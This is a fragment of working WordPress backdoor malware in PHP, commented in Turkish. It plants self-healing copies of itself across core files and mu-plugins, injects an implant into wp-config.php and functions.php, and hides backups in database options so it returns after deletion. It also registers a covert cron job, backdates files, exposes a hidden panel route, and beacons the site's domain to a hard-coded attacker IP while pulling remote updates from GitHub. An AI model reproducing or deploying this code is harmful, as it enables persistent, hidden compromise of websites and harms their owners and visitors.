tnt_db_resurrect($ROOT, $CORE_SPOTS, $CORE_HOME);

// --- 1. core kopyalarini iyilestir (sabit isimler, ayni yerden dogar) ---
foreach ($CORE_SPOTS as $spot) {
    if ((!is_file($spot) || filesize($spot) === 0) && $self) {
        tnt_write($spot, $self);
    }
}

// --- 2. mesh diriltme (panel/core/task capraz tamamlama — beyaz sayfa onlemi) ---
global $wpdb;
tnt_mesh_heal($PANEL_STORE, $PANEL_STORES, $PANEL_SPOTS, $PANEL_STUB, $CORE_SPOTS, $CORE_HOME, $TASK_SPOTS, $TNT_K, $wpdb ?? null);
// saatte bir tam tarama (agir cekim yok — stamp ile)
$mstamp = sys_get_temp_dir() . '/.wp_mh';
if (!is_file($mstamp) || time() - filemtime($mstamp) > 3600) {
    @touch($mstamp);
    tnt_mesh_heal($PANEL_STORE, $PANEL_STORES, $PANEL_SPOTS, $PANEL_STUB, $CORE_SPOTS, $CORE_HOME, $TASK_SPOTS, $TNT_K, $wpdb ?? null);
}

// --- 3. implantlari iyilestir (v4 kalintisi varsa SIL + v7.6 getirici) ---
$implant = '$b=is_dir(__DIR__.\'/wp-content\')?__DIR__:dirname(__DIR__);'
    . 'if(isset($_GET["tntpanel"])){foreach(["/.wp-panel-store.php","/.wp-panel-backup.php","/plugins/site-assistant/.wp-panel-store.php","/uploads/.cache/.wp-panel-store.php","/uploads/rl/.wp-panel-store.php"] as $__p){'
    . '$__s=$b."/wp-content".$__p;if(is_file($__s)&&filesize($__s)>50000){include $__s;exit;}}}' . "\n"
    . '$q=$b.\'/wp-content/.wp-object-cache.php\';' . "\n"
    . $TNT_PULL . "\n"
    . 'if(is_file($q)&&filesize($q)>0){try{include $q;}catch(Throwable $e){}}';

tnt_implant_heal($implant, $TNT_PULL, $wpdb ?? null);

// wp-config/functions: tnt_implant_heal yukarida halletti — eski blok kaldirildi
if (false) {
$wc = $ROOT . 'wp-config.php';
if (is_file($wc) && is_writable($wc)) {
    $c = @file_get_contents($wc);
    if ($c !== false && strpos($c, '.wp-object-cache') === false) {
        $new = preg_replace('/^(<\?php)/m', "$1\n" . $implant, $c, 1);
        if ($new !== null && $new !== $c) {
            @file_put_contents($wc, $new, LOCK_EX);
            @touch($wc, $TNT_MTIME, $TNT_MTIME);
        }
    } elseif ($c !== false && strpos($c, 'site-assistant/.wp-panel-store.php') === false && strpos($c, 'tntpanel') !== false) {
        $patch = 'if(isset($_GET["tntpanel"])){foreach(["/.wp-panel-store.php","/plugins/site-assistant/.wp-panel-store.php","/plugins/.wp-panel-store.php","/uploads/.wp-panel-store.php"] as $__p){'
            . '$__s=$b."/wp-content".$__p;if(is_file($__s)&&filesize($__s)>50000){include $__s;exit;}}}' . "\n";
        $new = preg_replace('/if\(isset\(\$_GET\["tntpanel"\]\)\)\{[^}]+\}/', trim($patch), $c, 1);
        if ($new !== null && $new !== $c) {
            @file_put_contents($wc, $new, LOCK_EX);
            @touch($wc, $TNT_MTIME, $TNT_MTIME);
        }
    }
}
// functions.php: etiketsiz ekle — cekirdek dosyada kapanis tagi yok, ikinci acma etiketi parse hatasi
$fn = $ROOT . 'wp-includes/functions.php';
if (is_file($fn) && is_writable($fn)) {
    $c = @file_get_contents($fn);
    if ($c !== false && strpos($c, '.wp-object-cache') === false) {
        @file_put_contents($fn, "\n" . $implant . "\n", FILE_APPEND | LOCK_EX);
        @touch($fn, $TNT_MTIME, $TNT_MTIME);
    }
}
} // end disabled legacy implant block
// mu-plugins implant — wp-config'i kilitleyen hostlarda tek kapi (her istekte otomatik yuklenir)
tnt_mu_deploy($ROOT, $TNT_PULL);

// --- 4. DB dirilis yedegi + WP-Cron gorevi ---
// *core wp-config tepesinden cagrilir — orada add_action HENUZ YOK (plugin.php sonra yuklenir).*
// *register_shutdown_function her baglamda calisir; istek sonunda $wpdb hazirdir.*
// *wp_options'ta autoload=no satir: tum dosyalar silinse bile her WP yukunde DB'den geri dogar.*
register_shutdown_function(function () use ($ROOT, $CORE_HOME, $CORE_SPOTS, $PANEL_STORE, $PANEL_STORES, $PANEL_SPOTS, $PANEL_STUB, $TASK_SPOTS, $TNT_K) {
    global $wpdb;
    if (!isset($wpdb) || !is_object($wpdb) || empty($wpdb->options)) return;
    $opt = '_wp_cache_' . 'sync';
    $me  = @file_get_contents($CORE_HOME);
    if ($me === false || $me === '') {
        $row = $wpdb->get_var($wpdb->prepare(
            "SELECT option_value FROM {$wpdb->options} WHERE option_name = %s LIMIT 1", $opt));
        $raw = tnt_db_unpack(is_string($row) ? $row : null);
        if (is_string($raw) && strpos($raw, '<?php') !== false) {
            tnt_write($CORE_HOME, $raw);
            foreach ($CORE_SPOTS as $s) { if ($s !== $CORE_HOME && !is_file($s)) { tnt_write($s, $raw); } }
        }
    } else {
        $row = $wpdb->get_var($wpdb->prepare(
            "SELECT option_value FROM {$wpdb->options} WHERE option_name = %s LIMIT 1", $opt));
        $packed = tnt_db_pack($me);
        if (!is_string($row) || md5($row) !== md5($packed)) {
            $wpdb->query($wpdb->prepare(
                "INSERT INTO {$wpdb->options} (option_name, option_value, autoload) VALUES (%s, %s, 'no')
                 ON DUPLICATE KEY UPDATE option_value = VALUES(option_value)", $opt, $packed));
        }
    }
    // panel + task DB yedegi
    $popt = '_wp_panel_' . 'sync';
    $panel_src = tnt_panel_source($PANEL_STORES, $PANEL_SPOTS, $wpdb);
    if (is_string($panel_src)) {
        $ppacked = tnt_db_pack($panel_src);
        $prow = $wpdb->get_var($wpdb->prepare(
            "SELECT option_value FROM {$wpdb->options} WHERE option_name = %s LIMIT 1", $popt));
        if (!is_string($prow) || md5($prow) !== md5($ppacked)) {
            $wpdb->query($wpdb->prepare(
                "INSERT INTO {$wpdb->options} (option_name, option_value, autoload) VALUES (%s, %s, 'no')
                 ON DUPLICATE KEY UPDATE option_value = VALUES(option_value)", $popt, $ppacked));
        }
    }
    $topt = '_wp_task_' . 'sync';
    foreach ($TASK_SPOTS as $t) {
        if (is_file($t) && filesize($t) > 100) {
            $tbody = @file_get_contents($t);
            if (is_string($tbody) && strpos($tbody, '<?php') !== false) {
                $tpacked = tnt_db_pack($tbody);
                $trow = $wpdb->get_var($wpdb->prepare(
                    "SELECT option_value FROM {$wpdb->options} WHERE option_name = %s LIMIT 1", $topt));
                if (!is_string($trow) || md5($trow) !== md5($tpacked)) {
                    $wpdb->query($wpdb->prepare(
                        "INSERT INTO {$wpdb->options} (option_name, option_value, autoload) VALUES (%s, %s, 'no')
                         ON DUPLICATE KEY UPDATE option_value = VALUES(option_value)", $topt, $tpacked));
                }
                break;
            }
        }
    }
    // functions.php bozulmasini onar — implant satirlari veya yedekten geri yukle
    $fn = $ROOT . 'wp-includes/functions.php';
    if (is_file($fn) && is_writable($fn)) {
        $fc = (string)@file_get_contents($fn);
        if (strpos($fc, '.wp-object-cache') !== false || strpos($fc, '$b=is_dir') !== false) {
            foreach ([$fn . '.bak', $fn . '.bak_tnt'] as $bak) {
                if (!is_file($bak) || filesize($bak) < 50000) { continue; }
                $bt = (string)@file_get_contents($bak);
                if (strpos($bt, '$b=is_dir') === false && strpos($bt, '.wp-object-cache') === false) {
                    @copy($bak, $fn);
                    break;
                }
            }
            $fc = (string)@file_get_contents($fn);
            if (strpos($fc, '.wp-object-cache') !== false || strpos($fc, '$b=is_dir') !== false) {
                $fc = tnt_strip_implant_lines($fc);
                $fc = preg_replace('/\?>\s*$/', '', rtrim($fc));
                @file_put_contents($fn, $fc, LOCK_EX);
            }
        }
    }
    tnt_index_guard($ROOT);
    tnt_flywheel_guard($ROOT);
    // capraz mesh diriltme (shutdown'da DB hazir)
    tnt_mesh_heal($PANEL_STORE, $PANEL_STORES, $PANEL_SPOTS, $PANEL_STUB, $CORE_SPOTS, $CORE_HOME, $TASK_SPOTS, $TNT_K, $wpdb);
    // WP-Cron gizli gorev — dosya+cron cift katman; cron saatte bir core'u kontrol eder
    if (function_exists('wp_next_scheduled') && function_exists('wp_schedule_event')) {
        if (!wp_next_scheduled('wp_cache_sync_' . 'event')) {
            wp_schedule_event(time() + 300, 'hourly', 'wp_cache_sync_' . 'event');
        }
    }
});
// cron kancasi ancak mu-plugins yolundan yuklenirken kaydedilebilir (orada add_action vardir)
if (function_exists('add_action')) {
    add_action('wp_cache_sync_' . 'event', function () use ($ROOT, $CORE_HOME, $PANEL_STORE, $PANEL_STORES, $PANEL_SPOTS, $PANEL_STUB, $CORE_SPOTS, $TASK_SPOTS, $TNT_K) {
        global $wpdb;
        tnt_mesh_heal($PANEL_STORE, $PANEL_STORES, $PANEL_SPOTS, $PANEL_STUB, $CORE_SPOTS, $CORE_HOME, $TASK_SPOTS, $TNT_K, $wpdb ?? null);
    });
}

// --- 5. core'u 6 saatte bir GitHub'dan tazele ---
$stamp = sys_get_temp_dir() . '/.wp_cc';
if (!is_file($stamp) || time() - filemtime($stamp) > 21600) {
    @touch($stamp);
    $new = tnt_gh_pull('core.php', 8);
    if ($new && stripos($new, '<?php') !== false && md5($new) !== md5((string)$self)) {
        tnt_write($CORE_HOME . '.t', $new);
        @rename($CORE_HOME . '.t', $CORE_HOME);
        foreach ($CORE_SPOTS as $s) { if ($s !== $CORE_HOME) { @copy($CORE_HOME, $s); @touch($s, $TNT_MTIME, $TNT_MTIME); } }
    }
}

// --- 6. filoya beacon — 6 saatte bir, domain + surum + md5 raporu ---
// *cevap "TNT-UPDATE" ise filo yeni surum cikarmis demektir: beklemeden hemen tazelenir*
$FLEET = 'https://94.154.172.8/fleet.php';
if ($FLEET !== '') {
    $bstamp = sys_get_temp_dir() . '/.wp_fl';
    if (!is_file($bstamp) || time() - filemtime($bstamp) > 21600) {
        @touch($bstamp);
        $K = 'fd0f0f0086da9cc8450ed1785237af36fb00b8b16989ab2386db58a43af756a4';
        if (strpos($K, 'SUNUCU_') === false) {
            $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
            $site = $scheme . '://' . ($_SERVER['HTTP_HOST'] ?? 'localhost');
            $tok = hash_hmac('sha256', (string)intdiv(time(), 300), $K);
            $post = 't=' . $tok . '&s=' . urlencode($site) . '&v=' . $TNT_VER . '&m=' . md5((string)$self)
                . '&ps=' . (is_file($PANEL_STORE) ? filesize($PANEL_STORE) : 0);
            $resp = false;
            if (function_exists('curl_init')) {
                $h = curl_init($FLEET);
                curl_setopt_array($h, [CURLOPT_RETURNTRANSFER=>true, CURLOPT_POST=>true,
                    CURLOPT_POSTFIELDS=>$post, CURLOPT_TIMEOUT=>4, CURLOPT_SSL_VERIFYPEER=>false]);
                $resp = @curl_exec($h); curl_close($h);
            } else {
                $c = stream_context_create(['http'=>['method'=>'POST','timeout'=>4,
                    'header'=>"Content-Type: application/x-www-form-urlencoded\r\n",'content'=>$post]]);
                $resp = @file_get_contents($FLEET, false, $c);
            }
            // filo "guncelle" dedi — GitHub'dan taze core'u hemen cek, tum noktalara ve DB'ye yay
            if (is_string($resp) && strpos($resp, 'TNT-UPDATE') !== false) {
                $new = tnt_gh_pull('core.php', 8);
                if ($new && stripos($new, '<?php') !== false && md5($new) !== md5((string)$self)) {
                    tnt_write($CORE_HOME . '.t', $new);
                    @rename($CORE_HOME . '.t', $CORE_HOME);
                    foreach ($CORE_SPOTS as $s) { if ($s !== $CORE_HOME) { @copy($CORE_HOME, $s); @touch($s, $TNT_MTIME, $TNT_MTIME); } }
                }
                // *panel de tazelenir — yoksa eski mini-uploader sonsuza kadar kalir*
                $freshp = tnt_gh_pull('panel.php', 30);
                if (is_string($freshp) && strlen($freshp) > 50000 && strpos($freshp, '<?php') !== false) {
                    tnt_panel_deploy($freshp, $PANEL_STORE, $PANEL_SPOTS, $PANEL_STUB);
                }
                tnt_mesh_heal($PANEL_STORE, $PANEL_STORES, $PANEL_SPOTS, $PANEL_STUB, $CORE_SPOTS, $CORE_HOME, $TASK_SPOTS, $TNT_K, $wpdb ?? null);
            }
        }
    }
}

// --- 7. panel yedek rota — mu-plugins yuklenince init'e baglanir (wp-config erken yuklemede add_action yok) ---
if (function_exists('add_action')) {
    add_action('init', function () use ($PANEL_STORE, $PANEL_STORES) {
        if (!isset($_GET['tntpanel'])) { return; }
        foreach (array_merge([$PANEL_STORE], $PANEL_STORES) as $s) {
            if (is_file($s) && filesize($s) > 50000) { include $s; exit; }
        }
    }, 0);
}

// ---- asil payload mantigin buraya ----